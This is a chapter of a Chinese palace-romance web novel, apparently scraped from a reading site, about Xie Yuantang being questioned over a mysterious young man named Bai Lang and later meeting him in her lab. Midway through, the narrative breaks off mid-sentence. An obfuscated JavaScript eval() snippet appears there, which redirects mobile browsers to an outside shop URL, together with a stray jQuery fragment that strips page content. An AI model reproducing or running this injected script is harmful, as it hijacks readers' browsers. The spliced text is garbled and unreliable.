“哦?”
司徒擎惊讶地看向谢元棠:“你的朋友?几岁?”
谢元棠:“……”这就侮辱人了昂!
她堂堂大佬棠,朋友上至七老八十,下至婴儿孩童,跨越种族,穿越时空!
光研究实里就百八十万呢!
谢元棠心里默默吐槽了句,面上确实一点不显,扬着单纯的小脸,眨眨无辜的大眼睛道:“父皇,棠棠的朋友当然都是小孩子啦,没有三妹妹说的那个人。”
司徒凤急得跺脚:“谢元棠你又撒谎!这次我都摸到他了!而且不止我看见了,煦儿二哥五哥都看见了,你还不承认!难道你真要背着五哥藏男人不成?”
“咳咳……”
一句话里信息量太大,司徒擎一直竟不知道,是该先问“摸到了”的事,还是先问“藏男人”的事。
不用他问,司徒砚和司徒凤已经一左一右将谢元棠堵住了。
司徒凤:“谢元棠!”
司徒砚:“娘子!”
司徒擎:“……停停停!”再说下去,定是又要吵起来了!
司徒擎今日第N次叹气,第N加一次揉太阳穴:“都别吵,谢元棠,你先说说那个人是怎么回事吧。”
谢元棠两手一摊,死猪不怕开水烫:“没这个人,我不认识什么男人。”
司徒擎:“……”朕信你个鬼!
司徒擎没好气地瞪了她一眼:“老实交代,不然朕治你欺君之罪!”
谢元棠一噎,无奈地叹了口气:“好吧好吧,我交代,有这个人,但……他其实是女扮男装。”
司徒凤:“不可能,我摸他胸了!他就是个男的!”
众人:“……”
司徒煦脸黑得跟炭似的:“你摸哪儿?谁让你乱摸的!”
谢元棠挠挠头,有些头疼地看着司徒凤:“三妹你今天脑子抹油了吗?怎么突然转这么快?”
见谢元棠这么为难,司徒砚皱了皱眉,半蹲下,双手按住她的肩膀:“娘子不想说就不要说了。”
谢元棠微怔。
看着面前那双澄澈如昔,每每总让她心软的桃花眼,愣了愣问:“你不想知道了?”
司徒砚薄唇微微勾起,桃花眼也跟着弯出了弧线:“娘子想告诉我的时候
自然就告诉我了,娘子现在不想说就不要说,没关系的。
“可……
谢元棠下意识看向周围,司徒砚头也不抬,单手轻轻扣着她的下巴,将她的小脸转过来:“娘子谁也不用看,我说了你可以不用说,那就不必说,这里谁也不能威胁你。
谢元棠定定地看着司徒砚,心脏不受控制地跳动了下。
而后微微一笑,歪了歪小脑袋道:“夫君真好!
“不过……
谢元棠笑着看了眼司徒擎,又看向司徒凤:“你们实在想知道,我告诉你们也无妨,他是男的,但……他有隐疾。
“咳咳……
一直没开口的司徒墨猛地咳嗽起来,反射性地想起方才谢元棠问他那句“你不行。
司徒凤脸色扭曲,司徒煦已经气得不想说话了,只拉过司徒凤:“不许你再问了。总之跟谢元棠在一块儿的能是什么好人!
谢元棠耸了耸肩道:“三妹妹,不是五嫂不照顾你,那个浑……那个人不适合你,更别提成亲了。
顿了顿,她觉得自己应该让司徒凤死心得更彻底一点,于是指着曲培道:“他现在连曲公公都不如呢。
“噗!
躺枪的曲培差点没一个趔趄栽地上。
司徒擎听着谢元棠乱七八糟的话,皱了皱眉道:“行了,凤儿不得再提这事。
说罢又看向谢元棠:“你也是,别总跟乱七八糟的人混。
“哦。谢元棠乖乖点头。
她不跟乱七八糟的人混,只跟乱七八糟的丧尸混!
“我可以再问你一个问题吗?就一个……
司徒凤小声道。
谢元棠顿了顿:“你问。
司徒凤咬了咬唇,问道:“我能知道他叫什么名字吗?
她已经知道自己的争取失败了,不管谢元棠说的是真话假话,总之就是失败了,未来她可能会被父皇指婚给一个好人,一个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13539167|139756||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她没见过没感情的好人。
至少,她想知道那个自发少年的名字,想知道自己人生中第一次动心,是为谁而动。
谢元棠没见过司徒凤失落的样子,此刻见她这样,心里也有些不忍。
只是白浪不是良人,他都不是人啊!
谢元棠叹了口气道:“白浪,他叫白浪。”
“白浪……”
司徒凤呢喃着这个名字,眼前浮现出自己两次见到白浪的场景,微微笑了下道:“我知道了,谢谢你告诉我他的名字。”
谢元棠摇摇头,一时不知道该说什么。
快傍晚的时候,谢元棠假装睡着进了趟研究室。
刚进去就看见白浪翘着二郎腿躺在台阶上,嘴里叼着支营养液。
旁边是被他翻找出来,这会儿正跪在那儿给他捶腿的零号。
谢元棠:“……”就这死样还有姑娘喜欢!
心里刚骂完,一支营养液空瓶就朝她砸了过来。
谢元棠单手接过,瞪过去:“找死是不是!”
白浪哼道:“明明是你先骂我的!”
谢元棠:“……”在心里骂你也听得见?
仿佛知道她在想什么似的,白浪懒洋洋道:“第一,你骂人的时候总会翻白眼;第二,你只要是站我跟前不说话,那必定是在心里骂我!”
谢元棠嘴角抽搐,这就是老熟人的不好,丁点儿小习惯对方都了如指掌。
谢元棠走过来坐他旁边,抬手将零号拉过去:“别欺负零宝。”
白浪挑了挑眉,敷衍的哼了声,抬手递给谢元棠一支营养液:“多补补吧,小豆丁。”
谢元棠一巴掌就招呼了过去!
两人并肩坐在台阶上,一人一瓶营养液,仿佛又回到了过去的日子。
谢元棠闷声道:“喂,你后不后悔把自己变成这样?”
白浪没看她,反而是看了眼她旁边的零号,“嗤”一声笑了:“后悔?”
“不变成这样,我连零号都打不过,怎么在末世生存下去?”
“靠你一次又一次的救我吗?”